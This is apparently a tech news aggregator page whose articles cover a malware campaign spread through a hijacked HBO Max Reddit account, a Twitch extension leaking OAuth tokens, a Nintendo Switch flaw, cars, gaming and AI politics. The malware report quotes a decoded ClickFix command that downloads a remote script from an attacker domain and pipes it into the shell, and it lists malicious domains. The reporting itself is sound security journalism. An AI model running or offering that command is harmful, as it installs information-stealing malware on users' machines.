Join Mikko Hyppönen and security leaders from the NFL, CHANEL, and Atlassian for a two-hour digital summit on what AI-speed attacks change, what defenders should stop doing, and how to validate, decide, fix, and re-validate at machine speed.
Tech
Hackers hijack HBO Max Reddit account to push malware in ClickFix ads
Hackers compromised HBO Max’s official Reddit account and used it to push malicious ads that launched ClickFix attacks to infect Windows and macOS devices with information-stealing malware.
Security researchers at Hudson Rock and ADAMnetworks analyzed the campaign and say the verified u/hbomax Reddit account was hijacked and used to launch 108 malicious advertisements over about 48 hours.
The ads used a social engineering technique known as ClickFix, which tricks users into copying and pasting malicious commands into Windows Run, PowerShell, or macOS Terminal while pretending to fix an error, verify a CAPTCHA, or install legitimate software.
The type of attack has become increasingly popular among cybercriminals because victims run the malicious commands themselves using legitimate operating system tools, potentially bypassing some browser and security software designed to detect malware downloads.
While some of the advertisements pushed by the HBO Max account impersonated the streaming service, others promoted fake AI tools, developer software, and macOS utilities.
Hudson Rock and ADAMnetworks have linked the attack to a larger campaign they call PasteSwitch, which targets both Windows and macOS systems and has been used to distribute information stealers, loaders, cryptocurrency clippers, and fake cryptocurrency wallet applications.
The researchers say PasteSwitch refers to the operation’s use of attacker-supplied commands that victims paste into their systems, while the attackers’ backend switches between campaigns, platforms, payloads, and crypto theft methods depending on the visitor.
BleepingComputer contacted HBO and Warner Bros. Discovery with questions about the incident but has not received a response.
Fake HBO Max app delivers malware
The campaign was initially discovered after a Reddit user spotted an advertisement posted from the verified HBO Max account promoting what appeared to be a native HBO Max application for macOS.
Source: Adam Networks
“I was browsing Reddit and saw an ad displaying u/hbomax as the author – this advertised a macOS HBO Max app which I’d not heard of and was interested in. The user is verified and appears to have posted many times in the official HBO Max subreddits,” warned the user.
“The advert takes you to hbomaxx[.]us which looks somewhat legitimate, and has a join button / download. Clicking these opens up the classic infostealer/clickfix paste this command to download. Having checked, this downloads an executable with other capabilities for account compromise (obviously all done in a full sandbox – inspecting the output only, not running anything).”
After clicking the advertisement, users were redirected to a convincing fake HBO Max website that claimed to offer the application for download.
One of the fake HBO Max sites used in the campaign was hbomaxx[.]us. However, clicking the download button did not download an app, but instead displayed instructions telling visitors to open Terminal and paste a command to install the software.
One of the macOS commands BleepingComputer saw in this attack used Base64 encoding to obscure the command it executed. Once decoded, it contained the following command:
export _watch_v2=97d9d8dc;curl -sL "https://ember-bridge[.]com/curl/a44a37519au/setup.sh"| zsh
Hudson Rock noted ember-bridge[.]com as infrastructure used in September for malware delivery in the PasteSwitch operation.
One malware family used in this attack is MacSync, which Hudson Rock says steals browser credentials, Firefox profiles, Telegram data, Apple Notes, and macOS passwords.
Another attack chain deployed “AMOS helper,” which establishes persistence using a directory named .com.apple.accountsd. The malware can then enroll infected systems with attacker-controlled servers to receive additional tasks.
The campaign has also distributed fake Ledger, Trezor Suite, and Exodus cryptocurrency wallet applications designed to steal victims’ wallet recovery phrases.
On Windows systems, PasteSwitch has been observed displaying instructions that cause victims to execute commands using mshta and PowerShell.
Hudson Rock says one Windows attack chain used an MP3/HTA polyglot to create a scheduled task, launch 32-bit PowerShell, disable Microsoft’s Antimalware Scan Interface (AMSI), and generate victim-specific infrastructure based on the computer name and username.
Later stages used obfuscated PowerShell and shellcode to load the Amatera Stealer directly into memory without first saving the final payload to disk.
PasteSwitch has also been seen pushing cryptocurrency clipboard hijacking malware, including AnimateClipper and ZigClipper.
The researchers say the HBO Max advertisement was part of a much larger advertising campaign run through the compromised Reddit account.
The researchers identified 40 ads pointing to hbomaxx[.]app, 36 promoting the fake AI and developer site codex-craft[.]com, 15 promoting apple.clean-disk-guide[.]com, 11 pointing to code-desktop[.]com, and six promoting hbomax-macos[.]com.
This allowed the attackers to target a larger audience than just HBO Max users, including developers and users searching for AI software and system utilities.
After the malicious advertisements were reported, a Reddit admin paused them and reported them to Reddit’s Security and Safety teams.
It remains unclear how the attackers accessed the HBO Max Reddit account or whether any other HBO or Warner Bros. Discovery accounts or systems were affected.
Continue Reading
Correction: An earlier version of this piece identified the phone Jensen Huang used to take President Trump’s call as Apple’s iPhone Duo. That was incorrect — the device appears to be a Samsung Galaxy Fold 8. The piece has been updated to remove references to the iPhone Duo and the conclusions that were based on that error.
Jensen Huang made headlines Monday at the All-In conference in L.A. when President Trump called him, live, on stage. But there was something else worth noting about his appearance. Huang, dressed in his now-signature alligator leather jacket, was handed a foldable phone to answer it.
Once he got Trump on speaker, the conversation turned to AI safety, and the two seemed to agree that mounting fears about AI equate to what Trump called a “hoax.” Trump argued that the real winners of the AI panic are China and “political people,” and that the technology is too big — “bigger than the internet,” he said — to slow down over. (“Did you hear that? Thousands of people are clapping,” said Huang to Trump during this same exchange.)
Whether Huang truly shares that same view or isn’t in a position to say otherwise, we’ll never know. Nvidia’s business model depends largely on AI labs buying more chips, so downplaying existential risk is the only move if he cares about his company’s share price. (It’s still up 33% for the past year but fell a few percentage points today.)
When it comes to cars, and German performance cars in particular, a simple letter — or a combination of letters — can have a whole lot of meaning. BMW is, of course, famous for its M performance brand, while Mercedes’ AMG-branded vehicles bring an equal level of respect on the street and the race track. Then there’s Audi, which offers performance models that use both S and RS designations.
In either case, an S- or RS-badged Audi will offer a significant performance boost over a base trim, including large increases in horsepower and drivetrain changes. The jump from an S model to a flagship RS model can be even more dramatic. In Audi terms, the “S” designation stands for “sport”, while Audi’s “RS” badge stands for RennSport — which means “racing sport” in German.
That clears up the branding differences, but the exact changes Audi makes between an S-badged model and an RS-badged one vary between vehicles. In many cases, RS-badged models don’t just offer extra horsepower and higher-end performance hardware, but also larger and completely different engines.
From S-line to RS
Audi’s S badge dates back to 1990 and the debut of the S2 Coupe, which packed a turbocharged five-cylinder engine and the company’s Quattro all-wheel-drive system. The RS designation arrived a few years later in the form of the 1994 RS2 Avant, which was co-engineered with Porsche and took Audi’s factory performance efforts to a new level. That’s how it’s been ever since, with RS models offering more performance than the already-potent S-badged cars.
Technically, Audi actually has three different levels of performance branding that use the letter S. At the bottom of the ladder are the S Line models. Despite the S branding, these cars aren’t performance models; instead, they’re cosmetic packages with sportier interiors and exteriors. The proper S version of a vehicle brings substantial mechanical changes, and an RS version — if available — will push the performance upgrades even higher.
Audi doesn’t offer multiple performance variations for all its models, and the RS treatment is limited to certain models. The Audi Q5 SUV, for example, is currently offered in the base Q5 guise and a more powerful SQ5 variant, but not in an RS trim. On the contrary, the sleek Audi A7 is currently only available as the fire-breathing RS7 Performance model, with a twin-turbocharged V8 under the hood.
More than just an extra letter
Over the years, Audi has given the RS treatment to everything from sedans and station wagons to coupes, convertibles, and even SUVs. If you want a perfect example of how the current Audi performance offerings change as you move up the ladder, look no further than the A3/S3/RS3 family. In its base form, the American-market A3 sedan is powered by a turbocharged 2.0-liter four-cylinder engine that makes 201 hp and has a standard all-wheel drive system.
Stepping to the more expensive S3 brings a substantial jump in performance. It still has a 2.0-liter turbo engine, but the S3’s version makes 328 hp and delivers that power through an upgraded all-wheel-drive system with a trick rear differential. Then, on top of the food chain sits the Audi RS3.
To some eyes, the exterior differences between the S3 and RS3 might seem minimal, but it’s a completely different beast under the skin — and the differences start under the hood. Instead of the turbo four-pot, you’ll find Audi’s legendary turbocharged five-cylinder, with its stout 394 hp and 369 lb-ft of torque taking the car to 60 mph in just over three seconds. The RS3 looks meaner and goes faster, and our experience behind the wheel of a 2025 RS3 showed that it’s one of Audi’s most exciting vehicles — and that the extra “R” offers more than just extra power.
Swedish furniture giant IKEA paid Kinggath Creations to build a free official Creation for The Elder Scrolls V: Skyrim, and the finished work arrived on Bethesda’s Creations menu on September 9 for PC and Xbox. Players who pick it up get a new companion named Kallax Storageborn, a walking cube of shelves modeled on IKEA’s familiar Kallax bookcase, voiced in full by Matt Berry.
Inventory weight is what finally gets the assistance to show up and send you in the direction of Storereach, a long-abandoned Dwemer emporium. At first, it’s just a cave, but it quickly transforms into a two-story self-service shop, complete with shopping trolleys rattling around, mannequins dressed in ghostly gowns, and a faintly (yet annoying) music playing in the background. Inside, you’ll find an ancient assembly manual written in the normal IKEA style, a staff that resembles an Allen key, and a mystery soul-stone. You then have to search for three missing panels with the assistance of a small army of Dwemer spiders, stick them in place, fire the staff, and before you know it, the creature awakens and begins talking to you.
Xbox Series X – All Digital Gaming Console – 1TB SSD – Includes Wireless Controller – 4K Gaming – 120FPS…
- FASTEST, MOST POWERFUL XBOX — Experience next-generation performance with 12 teraflops of processing power, delivering smoother gameplay, richer…
- TRUE 4K GAMING UP TO 120 FPS — Enjoy breathtaking visuals with true 4K resolution, HDR, and frame rates up to 120 FPS, plus hardware-accelerated ray…
- 1TB CUSTOM SSD AND XBOX VELOCITY ARCHITECTURE — Reduce load times dramatically with the custom 1TB NVMe SSD and XBOX Velocity Architecture, enabling…
Berry’s voice does most of the heavy lifting after that. Kallax comments on locations, follows you through grass and stone with the low scrape of furniture being dragged, and carries an unlimited pile of loot that actually sits on its shelves in the world. You can also summon Kallax by shouting out a new Thu’um, “AYE-KEY-YAH,” even if it is not your active buddy. Later in the game, you begin to receive a few more tasks, one of which takes you off in search of a lost writer and his helper, then into an extremely old Nordic ruin that’s so clogged with rubbish that Kallax has to go and clear it out to open up the blocked passageways. The last task involves a Clutter Golem.
New gear simply keeps the joke running without slowing you down too much. You can take out the Allenblade, a massive hex key, and Kallax even totes the Meatball Helmet. People who have reached the conclusion of the Creation report finding a spell called Billy bookshelf that releases Swedish meatballs, as well as a Shield of the Returns Policy hanging in the shop. None of it attempts to pass itself off as legitimate game lore. So when you find a skeleton in the bathroom with a hastily scrawled note reading “died lost in the aisles,” it’s just a hilarious little inside joke rather than a major story aspect.
Kinggath went all out on this one, treating it like a true dungeon pack rather than a generic advertisement, thus chambers feature secret rooms and stuff that matter even at low levels. The final chamber? Several players praised it as unexpectedly grand. You can still finish the civil war, yell at dragons, and smash some mudcrabs later. Kallax simply tags along, eliminating the need to discard iron helmets in a river. The creation is free, by the way; simply go to the in-game Creations menu or browse the creations.bethesda.net website.
[Source]
The feature turns off the display entirely.
Smart glasses are quietly becoming part of some people’s daily routines for things like checking notifications and making calls. Being able to do that without having to pick up your phone is really useful sometimes. But behind the wheel, that same convenience turns into a distraction fast, especially if you have one of those with a built-in display. But that doesn’t mean you have to take off your Meta Ray-Ban Display as soon as you get in the car.
Unfortunately, Meta Display glasses were not designed to provide real-time driving directions. But if you want to keep using them in your car without getting distracted, you just need to switch them to Audio Only mode. With this mode on, the display on the glasses turns off completely. It’s almost as if you were turning them into regular Meta Ray-Ban AI glasses. You still have hands-free audio for calls and quick voice commands, but without any visual distractions.
Setting up driving detection on your Meta Display glasses
Changing these settings is quite easy and you don’t have to remember to switch modes every time you get in the car. The Meta AI app includes a Driving Detection feature that handles the heavy lifting for you. When the feature is on, the glasses use their internal sensors to detect when you’re in a moving vehicle. Once the glasses realize you’re driving, they automatically disable the display.
Setting it up only takes a few seconds. To do this, open the Meta AI app on your phone. Go to Settings, select your glasses and tap Device Settings. From there, turn on Audio Only and toggle Driving Detection to active. The glasses will handle the rest. Once you reach your destination and step out of the car, the display will turn back on automatically.
The Meta AI app may ask you for special permission before enabling this feature. That’s because the app also needs access to your phone’s sensors to work. You can also switch modes manually if you want. Just say “Hey Meta, turn on/off audio only.”
Meta glasses were not designed for driving navigation
If you’re still wondering whether you can use Meta for driving directions somehow, the answer is no. These glasses currently only support pedestrian navigation. The interface is not really designed for high-speed travel and it lacks the real-time traffic updates, lane guidance and complex mapping you need on the highway. You should probably stick with the GPS on your phone or your car’s built-in navigation system for driving directions.
Although safety is the obvious reason to use Audio Only mode, there are some other benefits too. Turning off the display while you drive can save some battery for when you really need it. Besides, it’s always good to take a break from screens and excessive notifications. And if you want to learn more about the Meta Display glasses, here’s our full review.
This story appeared in The Logoff, a daily newsletter that helps you stay informed about the Trump administration without letting political news take over your life. Subscribe here.
Welcome to The Logoff: Everyone but President Donald Trump is freaking out about artificial intelligence.
What’s happening? As policymakers and tech CEOs discuss how to put guardrails on AI development, Trump is on a posting spree.
“The only control or ‘guardrails’ that AI needs is a STRONG AND SMART (High IQ!) PRESIDENT, and the U.S.A. has that, in spades,” he wrote in a Monday morning post. “There is a SICK conspiracy going on against AI and Data Centers, and the only one that is happy about it is China. WHOEVER WINS AI, WINS!”
In a later post, he also claimed that “AI taking over the World, destroying Humanity, and all other things bad, is a HOAX.”
Why is Trump weighing in on this now? Last week, the conversation around superpowerful AI — powerful enough that some researchers warn it could wipe out all of humanity — broke through after Jacob Coxon, an employee at the AI company Anthropic, announced his resignation, citing concerns that AI giants were “gambling with our lives” in a race toward “self-improving superintelligence.”
Since then, lawmakers from both parties, as well as the leaders of top AI companies, have started talking more seriously about slowing down AI development.
Why does he care? It’s not totally clear why Trump is choosing to go to the mat on this issue, but US-China competition is part of it, as is the economy: He’s repeatedly evoked the need to preserve the “golden goose” to explain his support for AI and data centers.
What’s the big picture? Opposition to AI and data centers has become a rare area of bipartisan agreement. As my colleague Dylan Scott reported last month, according to one poll, about 75 percent of Americans strongly oppose the construction of AI data centers near where they live. Politicians from both parties are responding accordingly and racing to voice their opposition.
But Congress isn’t likely to move anytime soon, which means the quickest path to AI regulation runs through the executive branch — and Trump is proclaiming himself gleefully uninterested in taking action.
And with that, it’s time to log off…
It may only be mid-September, but my colleague Allie Volpe recommends you get a jump on your holiday plans now (especially Thanksgiving). You can read her case for planning ahead here, with a gift link.
Have a great evening, and we’ll see you tomorrow!
Owners of the original Nintendo Switch should patch a security exploit immediately, especially if they game in public. Nintendo announced the vulnerability (PDF) on Sept. 10, shortly after releasing its latest 23.0.0 firmware update.
The exploit applies only to original Nintendo Switch owners using the Send to Smartphone feature. This feature generates a QR code on the Switch that you can scan with a smartphone, letting you transfer game captures and screenshots directly to your phone.
It also affects people playing Super Mario Kart: Home Circuit on the physical cartridge, as the game uses a QR code to establish a wireless link with nearby players.
Should someone else scan the QR code before you, they can connect their device to your Switch and use the connection to run unauthorized code on your Switch or steal information stored on the game console. Since your account information is stored on your Switch, that’s information you don’t want in the hands of someone else.
A Nintendo representative did not immediately respond to a request for further comment.
The exploit does not affect the Nintendo Switch 2.
How to fix the problem
The fix is pretty simple. Nintendo released update 23.0.0 on Sept. 9, which fixes the exploit. It’s recorded as CVE-2026-82079, which is “a stock-based buffer overflow vulnerability” that lets attackers within wireless range execute code. It only affects the original Switch on firmware versions older than 23.0.0.
To update your Nintendo Switch, head to System Settings > System > System Update to apply the update. Follow any additional on-screen prompts to install the update.
Nintendo says that those who can’t immediately update their firmware can avoid the issue by only using the Send to Smartphone feature at home, where attackers can’t see them, or by not playing Super Mario Kart: Home Circuit in public. The gaming giant also recommends not scanning any QR codes with any device that isn’t yours.
People who only play games at home are protected from this exploit and don’t have to worry about it.
Anyone who has dealt with gaming peripherals knows the RGB software struggle is real. Every brand wants you to install its own app, and most of these run quietly in the background, eating up resources just to keep your lights synced. OpenRGB has been trying to fix this mess for years, and the project just hit a big milestone with the release of version 1.0.
What’s new in OpenRGB 1.0?
The final 1.0 build lands after several release candidates got put through their paces, adding compatibility for a much wider range of hardware. As reported by TechPowerUp, You’ll find support for QMK and VialRGB now, plus Keychron’s own take on those protocols, along with more Gigabyte and MSI boards and laptops, Clevo’s laptop keyboards and light bars, and a wider spread of GPUs, including PNY’s Epic-X ARGB and PowerColor cards.
Corsair’s DRAM controllers see improvements too, and if you’re still rocking an aging Intel X299 board, its RGB memory controllers are now in the mix as well. The biggest addition, though, is compatibility with Logitech’s HID++ 2.0 controllers. This sets things up nicely for a lot more Logitech gear to get onboard in future updates.
It’s taken almost three years since version 0.9 to get here, with the last twelve months alone going into reworking the app’s core. Beyond the hardware additions, this version reworks how profiles function, lets the app quietly sit in the background instead of needing a window open, and switches the whole interface over to Qt6.
What do you need to do before installing it?
If you’re on Windows, PawnIO is a must-have download. Without it, OpenRGB won’t be able to reach your RAM, older motherboards, and a handful of other devices. Make sure you launch the app as Administrator, or set it up with the background service option, otherwise PawnIO won’t have the access it needs.
Running Linux and grabbing the .deb or .rpm build? You’ll need to separately install hidapi-hotplug, a modified version of hidapi that these packages now rely on. Distro maintainers should also take note that Qt5 support is gone, so any OpenRGB 1.0 packages need to be built against Qt6 instead.
If your desk setup has ever looked like a mismatched rainbow because of five different RGB apps, OpenRGB 1.0 might finally be worth the switch.
Accenture’s Barry O’Keeffe, Laoise Macken and Stephen Crothers discuss what graduates can expect from a career that starts with a development programme.
Graduate programmes are an ideal way for students and recent graduates to develop their skills, a network and also make plans for their futures.
Taking the chance to come into a company at an early stage of one’s career and experience a range of departments, roles and responsibilities can expose new professionals to career routes they perhaps hadn’t considered. It can also cement in their minds the areas that they want to give particular focus to.
Moreover, it can create a welcoming environment that prioritises easing new employees in, so that the experience, while focused on learning, upskilling and career growth, is not overwhelming.
Speaking to SiliconRepublic.com, Barry O’Keeffe, a business and technology integration analyst at Accenture, explained that part of his role at the organisation involves working as an AI engineer for a large client.
He said, “We’re building out a data warehouse to monitor operational metrics for trust and safety data – so content moderation. My priority at the moment is developing an agentic system, which automatically handles incoming bugs raised within the warehouse.”
The socialisation and camaraderie that can grow within the Accenture graduate programme is, for O’Keeffe, among its greatest characteristics.
“One of my favourite parts of Accenture is that when you join in your first week, you’re assigned a buddy, who’s a current graduate, and a people lead, who’s at manager level,” he said.
“The buddy you can go to during your first few weeks in your first year with all of the questions that you will have. The people lead is there to help with your career progression. So, any guidance that you need throughout your time at Accenture.”
The same experience is true for management consulting analyst Laoise Macken, who said, “I now live with two people from my start group back in September and that’s not an uncommon thing that you hear from the analysts in Accenture. People get really close really quick.”
Growing the skills and the professional
According to senior manager and delivery lead Stephen Crothers, this level of guidance is key to building up a graduate so that they have the skills needed for a long and successful career.
“I think guidance and mentorship is huge in our graduate programme, but I equally think that’s really important throughout any kind of career,” he said.
“I’ve been in Accenture for nearly nine years now and I would say that every different point in my career, whether it be a big milestone or a promotion, can always be attributed down to one of the many mentors that I’ve had throughout that stage of my career.”
Of the qualities he would expect in a professional thinking of joining the graduate programme, he said: “The things that we look for are both on the skills and the behaviour side. However, skills can be taught – behaviours can’t.
“Some of the key pieces that I look for whenever I’m doing my interviews are that curiosity. Another thing is around proactivity. We want someone that’s proactive, that doesn’t need to be given a kind of a defined roadmap of tasks to do, but to have that self-starter mentality.”
Macken added, “A skill that I’ve found useful in my role here at Accenture is being adaptable. Things move really quickly here, and our clients are at the forefront of AI and leaders in their industry, which means that priorities can change quickly, and you need to be comfortable diving headfirst into the work around you.
“So I think that people that are open-minded, hardworking and adaptable really thrive here. What surprised me most about the graduate programme is how strong the analyst community is.”
Who is it for?
Macken added: “Another skill that I’ve found really useful in my experience at Accenture has been communication. The teams that we work on are very cross-functional and range across a very wide level of seniority.”
As a result, she finds that she is able to communicate confidently while also maintaining who she is as an individual and developing genuine relationships.
She advised anyone considering a role as a graduate to have a ‘sponge-like’ mentality to soak up new skills and advice.
“The people around you are absolute experts in their field and have such depth of industry knowledge that there’s not a single person that you’ll meet here that won’t be able to teach you something at all levels – analyst or MD. So yeah, forging genuine connections with people and asking questions and really trying to absorb as much as you can.”
Be prepared for any interview, said Crothers, “then do more preparation” to really think about the questions you will be asked, the kind of answers you will give and how you express yourself.
“That’s what helps you build out, I suppose, that skillset to take you to a place where, again, it would be unrealistic to not succeed.”
Don’t miss out on the knowledge you need to succeed. Sign up for the Daily Brief, Silicon Republic’s digest of need-to-know sci-tech news.
A browser extension called Twitch Enhanced Viewer | JeetBot, available in the official Chrome and Firefox stores, sends users’ Twitch OAuth session tokens to a commercial bot service.
The extension has more than 30,000 installs and is advertised as a legitimate third-party tool for Twitch that can block ads, force 1080p (full HD) playback, bypass region restrictions, and enable channel-point collection.
However, an analysis from application security company Socket shows that the extension captures the authorization header used by the Twitch web client, extracts the user OAuth token, and sends the credentials through proxy servers.
The servers are operated by JeetBot, a commercial Russian-language streaming and chatbot service that offers tools for Twitch, Kick, and VK Live.
In current versions of the extension, the token is appended directly to redirected proxy requests as an auth= URL parameter, ending up in the proxy server’s request logs, where the software vendor can easily retrieve it.
“When the extension redirects Twitch’s video playlist request (to usher.ttvnw[.]net) through that proxy, it appends the token as an &auth= query parameter,” Socket says.
“Because the token is placed in the URL query string, it is written in cleartext into the proxy server’s request logs.”
This process occurs for every Twitch channel the user watches, except for a set of ten Russian-language channels hardcoded into the extension’s code.
Source: BleepingComputer.com
Socket highlights that earlier versions of the extension included more explicit credential-theft mechanisms.
In the description of the product in the Firefox Add-ons store, the developer provided a disclaimer about the previously used mechanism, saying:
“Previous versions of the extension transmit your OAuth-twitch token to our server. This is necessary for the stream to run in 1080/1440p.” [machine translated]
The data privacy disclosure for the Chrome variant of Twitch Enhanced Viewer | JeetBot says that its developer “disclosed that it will not collect or use your data.”
The declaration covers selling user data to third parties except for approved cases, transferring it for reasons outside the product’s “core functionality,” or “to determine creditworthiness or for lending purposes.”
At the time of publishing, the extension was still present in both the Chrome Web Store and the Firefox Add-Ons store.
BleepingComputer has sent JeetBot a request for additional information at the email address indicated in the Chrome Web Store, but we have not received a response by publication.
Socket researchers believe the extension represents a security risk and recommend that users remove it from their browsers, disconnect all sessions in Twitch, and then re-authenticate, to invalidate any token that may have been forwarded.
Developers are advised to avoid routing requests with authentication headers or tokens through third-party servers.
Join Mikko Hyppönen and security leaders from the NFL, CHANEL, and Atlassian for a two-hour digital summit on what AI-speed attacks change, what defenders should stop doing, and how to validate, decide, fix, and re-validate at machine speed.
The new AppleCare One Family subscription is now available, bundling extended warranty protection for your entire iCloud family’s devices. Here’s how it compares to the AppleCare One Individual plan, and where you can save some money.
AppleCare One on iPhoneLaunching in the United States on September 14, the plan removes the device limit and single-account restriction built into AppleCare One Individual. Families with enough Apple hardware could save money, although $599.88 per year is still a substantial starting price for device protection.
The existing AppleCare One Individual plan costs $19.99 per month for three products. Each additional device tied to the same Apple Account costs another $5.99 per month.
The single-account restriction generally forced family members onto separate AppleCare One or AppleCare+ plans. Family Sharing didn’t change that requirement.
Continue Reading on AppleInsider | Discuss on our Forums
NewsBeat1 minute ago
Why doesn’t York have World Heritage Status? – letters
Business2 minutes ago
Allspring Utility And Telecommunications Fund Q2 2026 Commentary (EVUYX)
Crypto World3 minutes ago
XRP Ledger is one vote away from starting its next big payments upgrade
-
Tech7 days agoMemory prices are slowing because buyers ran out of money
-
Business5 days agoMicron Stock Climbs Above $1,031 as AI Memory Crunch and a $50 Billion Outlook Fuel the Rally
-
Tech2 days agoThe Latest Weird Thing to Play Doom Is the Mapped-Out Brain of a Fruit Fly
-
Fashion4 days agoWeekend Open Thread – Corporette.com
-
Business5 days agoAMD Stock Climbs After Management Lifts 2027 Data Center Outlook Toward $70 Billion in AI Sales
-
Crypto World6 days agoBitcoin price risks $76K drop as $78K support weakens
-
Crypto World7 days agoRobinhood Stock: How To Take Advantage With Reduced Risk
-
Crypto World4 days agoXAG/USD: Silver’s Short-Term Rally Meets Its Moment of Truth
-
Crypto World5 days ago2 Chip Stocks Broke Out This Week. Neither Was Nvidia
-
Crypto World6 days agoEthereum price stalls below $2,500 as ADX drops to 11
-
Business4 days ago10 Most-Streamed Songs On Spotify In 2026 So Far, Led By Ella Langley’s Dominant Run On The Charts This Year
-
NewsBeat7 days agoEngland up in reading, maths and science rankings as Scotland and Wales dip
-
Tech4 days agoBattery life is the only iPhone 18 Pro and iPhone Duo upgrade I care about. Apple didn’t disappoint
-
Crypto World4 days agoOKX launches 10x OpenAI, Anthropic X-Perps in Europe
-
Crypto World4 days agoDiesel Tops $6 a Gallon for the First Time as 28 States Set Records
-
Crypto World7 days agoIntel Stock Jumps 9% on Chip Price Hike Report, US Stake Gains $36 Billion
-
Tech5 days agoApple Watch Ultra 4 vs Watch Ultra 3: Should you really spend another $799?
-
Crypto World5 days agoPi Network ships Protocol 27 on a network with 14 million users and zero DeFi
-
News Videos4 days agoFacing Financial Fears
-
Crypto World5 days agoBitcoin price risks $70K if $78K neckline breaks
You must be logged in to post a comment Login